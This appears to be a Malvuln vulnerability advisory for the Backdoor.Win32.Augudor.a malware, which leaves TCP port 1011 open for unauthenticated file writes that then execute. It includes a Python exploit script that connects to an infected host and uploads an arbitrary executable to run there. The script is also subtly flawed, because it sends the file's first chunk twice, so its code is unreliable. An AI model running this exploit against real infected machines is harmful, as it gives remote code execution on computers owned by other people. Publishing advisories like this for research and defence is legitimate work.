Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution

2021.02.12
us malvuln (US) us
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/1b557d4f923b0de75e397686053a9022.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Augudor.a Vulnerability: Unauthenticated Remote File Write Code Execution Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed. Type: PE32 MD5: 1b557d4f923b0de75e397686053a9022 Vuln ID: MVID-2021-0083 Dropped files: zy.exe Disclosure: 02/10/2021 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=1011 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution") print("MD5: 1b557d4f923b0de75e397686053a9022") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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